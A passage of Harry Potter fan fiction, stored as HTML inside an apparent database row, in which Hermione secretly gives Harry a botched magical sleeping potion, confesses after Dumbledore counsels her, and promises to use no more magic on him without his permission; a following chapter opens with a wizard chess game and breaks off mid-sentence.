there.&nbsp; In fact,\nshe had been counting on it.&nbsp; Both Harry\nand Ron were distracted from their dinner while they argued with the three\nbullies.&nbsp; She pulled a small vile out of\nher pocket and clandestinely slipped its contents into Harry&#8217;s drink.&nbsp; It was the sleeping potion.&nbsp; The dose she gave him was supposed to last\nfor two weeks but she figured that because it hadn&#8217;t been allowed to boil for\nthe required length of time, it would only last a few days.&nbsp; In either case, she had already decided to\nslip him more of the potion when it became apparent he was having the\nnightmares again.&nbsp; It was always obvious\nbecause he came to breakfast extremely tired.&nbsp;\nHopefully that would change starting tomorrow morning.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Can you believe\nhim?&#8221; Harry said as he turned back to the table.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione jumped a\nlittle as she came back to reality. &#8220;I don&#8217;t know why you bother with that\ngit.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry took a sip\nfrom his goblet. &#8220;He&#8217;s the one who comes over here.&nbsp; You don&#8217;t see me going over to his table.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;He only does it\nbecause he knows I can&#8217;t punch him with all the professors watching,&#8221; Ron added\nbetween bites.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry finished\nhis juice in one gulp.&nbsp; It magically\nfilled up again within moments. <i style="mso-bidi-font-style:normal">&#8220;Good,\nhe&#8217;s had it all.&nbsp; Now we&#8217;ll see how good\nit works.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry, are you\nokay?&#8221; Hermione asked in shock the next morning at breakfast.&nbsp; Instead of looking well rested as she had\nhopped, Harry looked as if he hadn&#8217;t even gotten ten minutes worth of sleep the\nprevious night.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I don&#8217;t\nknow.&nbsp; I couldn&#8217;t sleep at all last\nnight,&#8221; Harry admitted as he laid his head on the table.&nbsp; &#8220;I don&#8217;t know what&#8217;s wrong with me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Was it the\nnightmare again?&#8221; She asked concerned. <i style="mso-bidi-font-style:normal">&#8220;I\ndon&#8217;t understand why my potion didn&#8217;t work.&#8221;</i></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry shrugged. &#8220;I\nguess.&nbsp; It was like I just couldn&#8217;t fall\nasleep no matter how hard I tried and when I did, the least little thing, like\nNeville&#8217;s snoring, would wake me up again.&nbsp;\nI&#8217;m glad it&#8217;s Saturday.&nbsp; I&#8217;m going\nto try and take a nap later on.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i style="mso-bidi-font-style:normal">&#8220;Oh no, something had to have gone wrong.&#8221; </i>Hermione\nthought frantically.&nbsp; She jumped up from\nthe table.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hey where are\nyou going?&#8221; Ron called after her.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Library,&#8221;\nHermione said hastily.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;But we were\ngoing to see Hagrid.&nbsp; We can look for\nFlamel later you know,&#8221; Ron shouted at Hermione as she retreated from the Great\nHall. &#8220;That girl spends way too much time in the library.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry&#8217;s head hit\nthe table again. &#8220;Ugh&#8230;.&#8221;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione had\nspent almost the entire day in the library.&nbsp;\nShe found another book called &#8220;Common Magical Maladies, Ailments, and\nSide Effects&#8221; and looked up the Narcoryan Potion.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Narcoryan Potion\nis a very unique magical sleeping aid in that unlike most sleeping potions, it\ndoes not induce immediate sleep.&nbsp; It\ninstead helps the drinker by giving them a deeper, dreamless rest during the\ntime they naturally go to sleep.&nbsp; In\naddition, the potion can last for several weeks.&nbsp; The most common problems associated with\nnarcoryan is when the potion has the exact opposite of its intended use.&nbsp; The drinker will be unable to sleep at\nall.&nbsp; This is usually caused by improper\npreparation of the potion.&nbsp; Narcoryan\nmust simmer for at least three hours to prevent this from happening.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione slammed\nthe book shut.&nbsp; She couldn&#8217;t believe what\nshe&#8217;d done.&nbsp; Instead of helping Harry,\nshe&#8217;d made things twice as bad. &nbsp;At least\nhe was getting some sleep before, even if he was having nightmares.&nbsp; Now he wasn&#8217;t able to sleep at all.&nbsp; She was so ashamed of herself.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione spent\nthe rest of the day trying to find a cure or some way to reserve the sleeping\npotion.&nbsp; She didn&#8217;t want to use another\npotion, that would require too much time, plus she couldn&#8217;t risk trying to slip\nit into his drink again.&nbsp; That only left\nspells.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She poured\nthrough endless books looking for the right one.&nbsp; The only time she stopped her hunt was when\nRon and Harry arrived for a bit to search for Flamel.&nbsp; Harry still looked haggard and they didn&#8217;t\nstay long because of this.&nbsp; Hermione felt\neven worse, so she stayed at the library late into the evening.&nbsp; Madam Pince kept sweeping by.&nbsp; She obviously wanted to close the library but\nHermione ignored her.&nbsp; She was resigned\nto stay until she found what she was looking for or until the librarian threw\nher out, whichever came first.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I see we&#8217;re\nstudying hard, Ms. Granger,&#8221; came a voice from behind her.&nbsp; Hermione turned and saw a long silvery\nbeard.&nbsp; She looked up into the face of\nProfessor Albus Dumbledore.&nbsp; His blue\neyes seemed to twinkle and there was a slight smile on his face.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Pro...\nProfessor, what are you doing here?&#8221; Hermione stuttered.&nbsp; She realized almost immediately how\nimpertinent her question had been.&nbsp; He\ncould be wherever he wanted.&nbsp; It wasn&#8217;t\nlike he needed to explain himself to a first year student.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dumbledore,\nhowever, did not seem to mind the question.&nbsp;\n&#8220;I often find that the school library is very well stocked with books on\na variety of topics.&nbsp; I like to find new\nmaterial on subjects that interest me every now and again.&nbsp; Sometimes even a professor, or a headmaster\nlike myself, can learn a thing or two.&nbsp;\nWhat is that muggle saying:&nbsp; you can\nlead a dog to water but you can&#8217;t make him learn new tricks?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione didn&#8217;t\nbother correcting him.&nbsp; She was still in\nshock.&nbsp; She&#8217;d never actually seen the\nheadmaster up close or talked to him in person and he was a little\nintimidating.&nbsp; After all, he was said to\nbe one of the greatest wizards of the era.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dumbledore eyed\nthe piles of books stacked on Hermione&#8217;s table. &#8220;Exams seem to have come a bit\nearly this year, or perhaps you&#8217;ve decided to take your O. W. L.&#8217;s a bit\nearly?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione smiled\nweakly. &#8220;Oh no, sir.&nbsp; I was just doing a\nbit of&#8230; um&#8230; research.&nbsp; But I haven&#8217;t had\nany luck.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes, Madam Pince\ntold me on the way in that you&#8217;ve been here all day and show no signs of\nleaving anytime soon.&nbsp; She suggested that\nthere might be something I could do to speed you along.&#8221;</p>\n\n<p class="MsoNormal" style="mso-outline-level:1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well\nit&#8217;s kind of complicated&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dumbledore\nlaughed. &#8220;My dear, I happen to be a halfway decent wizard.&nbsp; I think I may be of some use if you allow\nme.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione thought\nabout this for a moment.&nbsp; She didn&#8217;t know\nhow much she should tell the professor.&nbsp;\nWould he be mad at her for using a potion on a fellow student without his\nknowledge?&nbsp; She decided to at least try\nto get the answer she needed without telling him what had actually happened.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;A friend of mine\nis having chronic nightmares so he needs a sleeping potion.&nbsp; I tried narcoryan but it backfired.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ah I see, you\ndid not let it simmer for the prescribed amount of time, so it&#8217;s having the\nopposite effect.&nbsp; I&#8217;ve seen it happen\nmany times.&nbsp; Don&#8217;t worry, my dear,\nimproperly prepared narcoryan only lasts for 24 hours.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione let out\na sigh of relief.&nbsp; Now all she had to do\nis mix another batch of the potion the right way.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dumbledore sat\ndown.&nbsp; &#8220;So your friend asked you for a\nsleeping potion for his problem?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well&#8230; uh&#8230;\nno.&nbsp; I just figured this would be the\nbest thing to help him.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well if I may be\nso bold, Ms. Granger; I don&#8217;t think a potion is the best way to help your\nfriend.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh, is there a\nspell I could use instead?&#8221; Hermione asked eagerly.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dumbledore\nlaughed. &#8220;Not exactly.&nbsp; What your friend\nneeds is something far more powerful than any magical solution.&nbsp; If he is having chronic nightmares, as you\nhave said, it is a sign that there is something troubling him, something that\nhe can&#8217;t handle on his own.&nbsp; He needs\nsomeone, a true friend, to be there for him.&nbsp;\nOnly that can really help him. Perhaps you can be that friend?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; For a moment, she\nthought the headmaster was joking, but he had a serious look in his blue eyes.\n&#8220;But Professor, how can I help?&nbsp; I don&#8217;t\nknow what I could say or do that could help him.&nbsp; I&#8217;m not very good with things like that,&#8221; she\nadmitted. &#8220;I&#8217;m a good witch; that&#8217;s it.&nbsp;\nIf I can&#8217;t find a magical solution then I don&#8217;t think I&#8217;m much use.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione, to be\na good witch, you must learn that there are many times when magic just isn&#8217;t\nthe answer,&#8221; Dumbledore said soothingly. &#8220;There are still forces out there that\nare far more powerful, such as friendship.&nbsp;\nYou have to understand all of these things if you are going to reach\nyour true potential.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione nodded\nnumbly and she realized for the first time that she had been going about things\nall wrong.&nbsp; She had never really tried to\ntalk to Harry about his dreams.&nbsp; She&#8217;d\noffered him everything else except an ear to listen to his concerns.&nbsp; She had been too afraid that she wouldn&#8217;t\nknow what to say to him.&nbsp; But Dumbledore\nwas right, what Harry really needed was a friend.&nbsp; She knew that Ron never really tried to talk\nabout it with him, so it was up to her.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Madame Pince came\nup to the table.&nbsp; &#8220;Headmaster, I really\nmust insist&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes of course,\nIrma.&nbsp; Ms. Granger and I were about to\nleave.&#8221; Dumbledore said coolly.&nbsp; He\nstood. &#8220;If you&#8217;d like to continue your research, you can take some of these\nbooks back to your common room I&#8217;m sure.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione shook\nher head as she stood quickly. &#8220;No sir.&nbsp;\nI don&#8217;t think I&#8217;ll need them, not for what I have to do.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dumbledore smiled\nas Hermione hurried off towards the door. &#8220;Oh and Mrs. Granger,&#8221; he called\nafter her.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione turned\naround just as she was about to exit. &#8220;Yes sir?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Tell Harry that\nI hope he feels better soon and that I look forward to seeing his next\nquidditch game.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione\nsmiled.&nbsp; It wasn&#8217;t surprising that the\nheadmaster had known all along.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; It was late when\nHermione arrived in the common room after her conversation with\nDumbledore.&nbsp; The only light was that of\nthe slowly dying fire.&nbsp; It seemed that\neveryone had gone to bed.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione wasn&#8217;t\ntired at all.&nbsp; She walked over to one of\nthe chairs facing the fire and was about to drop into it when something startled\nher.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well you&#8217;re out\nlate.&#8221; Harry was sitting in the chair she was about to plop down in and she\nhadn&#8217;t even noticed.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh Harry, you scared\nme.&nbsp; Why is everyone sneaking up on me\ntonight?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well I figured I\nshould say something <i style="mso-bidi-font-style:normal">before</i> you sat\non me,&#8221; Harry retorted as Hermione took another seat next to his. &#8220;Where have\nyou been, anyway?&nbsp; Don&#8217;t tell me you\nspent all this time in the library.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah, actually I\ndid,&#8221; Hermione sighed.&nbsp; &#8220;Still can&#8217;t\nsleep?&#8221;</p>\n\n<p class="MsoNormal" style="mso-outline-level:1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry\nshook his head. &#8220;Not really&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They sat there\nsilently for a moment.&nbsp; Then suddenly\nHarry asked. &#8220;Hermione is there something wrong?&nbsp; You&#8217;ve been acting really weird today.&nbsp; Do you want to talk about it?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; A tear ran down\nHermione&#8217;s face. <i style="mso-bidi-font-style:normal">&#8220;I can&#8217;t believe\nthis.&nbsp; I&#8217;m such a terrible friend. &nbsp;I don&#8217;t take any time to try to talk to Harry\nabout his nightmares but he&#8217;s worried about me even though he&#8217;s got problems of\nhis own.&#8221;</i></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry finally\nnoticed that she was crying. &#8220;Hermione, what&#8217;s wrong?&#8221; he asked in shock.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh Harry, it&#8217;s\nall my fault.&nbsp; I wanted to help you by\nfinding a way to end your nightmares so I made the narcoryan potion for you and\nI slipped it in your drink last night so you wouldn&#8217;t know because I know you\nsaid you didn&#8217;t want a sleeping potion but I thought it would help but it\nturned out that I made the potion wrong so instead of giving you dreamless\nsleep it made you not be able to sleep and it was totally and completely my\nfault and I didn&#8217;t want to tell you because I knew you&#8217;d be mad at me so I\nspent all day at the library trying to figure out a way to reverse the potion\nwithout you knowing and all this time what I should have been doing was trying\nto talk to you about your dreams instead of avoiding the topic because I was\nafraid of not being able to say the right thing to you.&#8221; Hermione started\ncrying again.&nbsp; &#8220;You&#8217;re such a good friend\nto me and I just wanted to do the same but I did it all wrong.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry had been\nfriends with Hermione for several weeks and was used to her talking extremely\nfast when she was nervous, but he never knew what to do when she became this\nemotional.&nbsp; It took him a while to\ndissect everything she had just spilled out.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione,&#8221; he\nsaid finally. &#8220;I know you were trying to help, and I appreciate it, but you\ncan&#8217;t just slip a sleeping potion into my drink without me knowing.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I know&#8230; I know&#8230;\nIt was totally and completely wrong of me, and I&#8217;m so sorry Harry.&nbsp; It should wear off in a couple of hours, I\npromise.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well that&#8217;s\ngood.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Are you mad at\nme?&#8221; Hermione said, wiping the remaining tears off her face.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No, just promise\nnot to do any more magic on me without my permission.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I promise.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, I guess I\nshould try to go to bed now.&#8221; Harry stood, but Hermione stopped him.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Wait Harry,\nsince we&#8217;re both up, maybe we could talk.&#8221;</p>\n\n<p class="MsoNormal" style="mso-outline-level:1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry\nsighed again. &#8220;Hermione&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry, I know\nit&#8217;s difficult,&#8221; she cut him off, &#8220;but if you just keep it bottled up, it&#8217;s not\ngoing to go away.&nbsp; It&#8217;s just going to\nkeep eating away inside you.&nbsp; We&#8217;re\nfriends.&nbsp; We&#8217;re supposed to be able to\ntalk.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry sat down\nagain. &#8220;I know, but I don&#8217;t think there is anything you can really do to help\nme.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I can listen.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry\nsmiled.&nbsp; He realized he hadn&#8217;t really\ntalked to either of his friends at length about how these dreams were really\naffecting him.&nbsp; Hermione seemed like she\nearnestly wanted to do something to help him.&nbsp;\nShe&#8217;d even gone as far as to try and sneak him a sleeping potion.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You know, it&#8217;s\nmore than just losing my mom and dad,&#8221; he started. &#8220;It&#8217;s almost as if I have no\nfamily&#8230; no real identity.&nbsp; The only thing\nI really know about me is what others tell me.&nbsp;\nI wish I had someone I could really call family besides Aunt Petunia.&nbsp; That way I could know what my mom and dad\nwere really like.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione nodded\nand Harry continued.&nbsp; They talked well\ninto the night, well after the fire had burned out and Hermione had replaced it\nwith her own magical bluebell flame.&nbsp;\nWhen they finally headed for their separate dormitories, both Harry and\nHermione felt like a great weight had been lifted from their shoulders.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione pushed\nopen the door to her room and was met with the thunderous snores of\nLavender.&nbsp; She smiled.&nbsp; Things were back to normal.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(240, 11, '\n\n\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">Chapter Summary:</b>&nbsp; Hermione and Ron actually have to become\nfriends at some point, and what better way then while trying to help out their\nmutual friend, Harry Potter.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">--- Begin Fic Here ---</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I hate this\ngame,&#8221; Hermione muttered as she stared down at the wizard&#8217;s chess board.&nbsp; Against her will, she&#8217;d started playing the\ngame with Ron while Harry went to quidditch practices.&nbsp; She would have rather watched Harry practice,\nbut the weather had turned nasty and she didn&#8217;t feel like standing out in the\nrain on the ramparts.&nbsp; So Ron had\nsuggested that she play against him because he was tired of only having one\nopponent.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione used Harry&#8217;s\nchess pieces because she didn&#8217;t have ones of her own.&nbsp; The problem was that wizard chessmen talked\nand it was always very distracting.&nbsp; They\nkept shouting directions and suggestions at her and this made it much harder\nthan muggle chess.&nbsp; She&#8217;d read several\nstrategy books on the game, but that didn&#8217;t seem to help.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron had perfect\ncontrol over his chessmen and he liked to rub this fact in her face.&nbsp; He had consistently beaten Hermione in every\nsingle game they played and he seemed to get some sort of twisted pleasure out\nof this.&nbsp; Hermione was beginning to\nremember why she hated Ron to begin with.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i style="mso-bidi-font-style:normal">&#8220;He&#8217;s so smug.&nbsp; Just because he can win at this stupid,\npointless, barbaric game doesn&#8217;t make him smarter than me,&#8221;</i> she thought\nduring one of their matches.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Are you trying\nto will your pieces to move with your mind?&#8221; Ron teased.&nbsp; Hermione had been staring at the board for\nquite some time.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Shut it,&#8221;\nHermione snapped.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron grinned from\near to ear.&nbsp; He was trying to intimidate\nher.&nbsp; This match had lasted longer than\nany of the others they&#8217;d played.&nbsp; Both of\nthem had captured several pieces.&nbsp; There\nwas a good chance Hermione could win if she kept her wits about her.&nbsp; She just needed to open up the king.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Then she got an\nidea. &#8220;Knight to H-3.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What in the\nblazes are you doing?&#8221; Her remaining knight shouted as it begrudgingly obeyed.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Check!&#8221; Hermione\nsaid gleefully.&nbsp; It was of course a\ntrick.&nbsp; She knew as well as the knight\ndid that she couldn&#8217;t checkmate the king with this strategy.&nbsp; She just needed a diversion.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Let me take him,\nlet me <i style="mso-bidi-font-style:normal">crush </i>him,&#8221; shouted Ron&#8217;s\nqueen.&nbsp; This is exactly what Hermione\nwanted.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron stared at the\nchessboard. &#8220;Hmm, this is going to require some thought.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hope you&#8217;re not\ntrying to move the pieces with your mind, Ron.&nbsp;\nI hear that doesn&#8217;t work.&#8221; Hermione teased.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Shut it,\nHermione.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Suddenly Harry\ncame through the common room entrance and headed straight for them.&nbsp; Hermione could tell instantly that something\nwas wrong, but Ron wasn&#8217;t paying attention.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Don&#8217;t talk to me\nfor a moment.&nbsp; I need to concentrate,&#8221; he\nsaid waving away Harry as he sat down.&nbsp;\nThen he finally noticed the look on his face. &#8220;What&#8217;s the matter with\nyou?&nbsp; You look terrible.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Snape,&#8221; Harry\nhissed. &#8220;I think he&#8217;s after me again.&nbsp;\nGet this.&nbsp; He&#8217;s decided to referee\nthe next quidditch game.&nbsp; The others,\nthey think it&#8217;s just so that he can be biased towards Hufflepuff so that we\nwon&#8217;t overtake Slytherin in the house cup, but I think he just wants another\ncrack at me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I think it&#8217;s\nboth,&#8221; Ron said.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&#8220;You&#8217;re not helping,&#8221; Hermione snapped. They\nhad both completely forgotten about the game.&nbsp;\nShe turned to Harry. &#8220;Don&#8217;t play.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Say you&#8217;re ill,&#8221;\nRon added.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry shook his\nhead at this.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Pretend to break\nyour leg,&#8221; Hermione offered.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;<i style="mso-bidi-font-style:normal">Really</i> break your leg,&#8221; Ron said.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; But Harry\nwouldn&#8217;t hear any of it.&nbsp; He wouldn&#8217;t\nback out of the game, not with the team depending on him.&nbsp; They would have continued to think of ways to\nget Harry to back off if the sight of Neville bunny-hopping through the\nportrait entrance hadn&#8217;t distracted them.&nbsp;\nIt looked like someone had performed the leg-locker curse on him.&nbsp; Hermione leapt up to help him.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i style="mso-bidi-font-style:normal">&#8220;Poor Neville.</i><i style="mso-bidi-font-style:normal"> Everyone always picks on him because he&#8217;s\nsuch a bad wizard.&nbsp; Everyone picks on me\nbecause I&#8217;m such a good wizard.&nbsp; People\ncan be so cruel if you&#8217;re not exactly like them.&#8221;</i> She pulled out her wand.\n&#8220;Locomortor Returnus.&#8221;&nbsp; Neville&#8217;s legs sprung apart instantly.&nbsp; Aside from his pride, he didn&#8217;t seem badly\nhurt.&nbsp; Hermione wished that the other\nstudents would stop laughing.&nbsp; It was bad\nenough as it was.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione led him\nover to where Ron and Harry were still sitting.&nbsp;\nHarry had a semi-shocked expression on his face; Ron was trying hard not\nto laugh.&nbsp; Hermione gave Ron a &#8220;don&#8217;t you\ndare laugh&#8221; look, and he immediately straightened up.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Neville explained\nthat it was Draco Malfoy who had performed the curse on him.&nbsp; Hermione tried to convince him to tell their\nhead of house, Professor McGonagall, but Neville would hear none of it.&nbsp; He was afraid Malfoy would just retaliate\nmore.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You&#8217;ve got to\nstand up to him, Neville.&nbsp; He&#8217;s used to\nwalking all over people but that&#8217;s no reason to lie down in front of him and\nmake it easier.&#8221; Ron said.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione could\nhave slapped Ron for saying that.&nbsp; Didn&#8217;t\nhe think Neville felt bad enough? <i style="mso-bidi-font-style:normal">&#8220;Boys\ncan be so insensitive.&#8221;</i></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; But Harry,\nseeming to sense that Neville was on the verge of tears, pulled a chocolate toad\nfrom his robe and handed it to 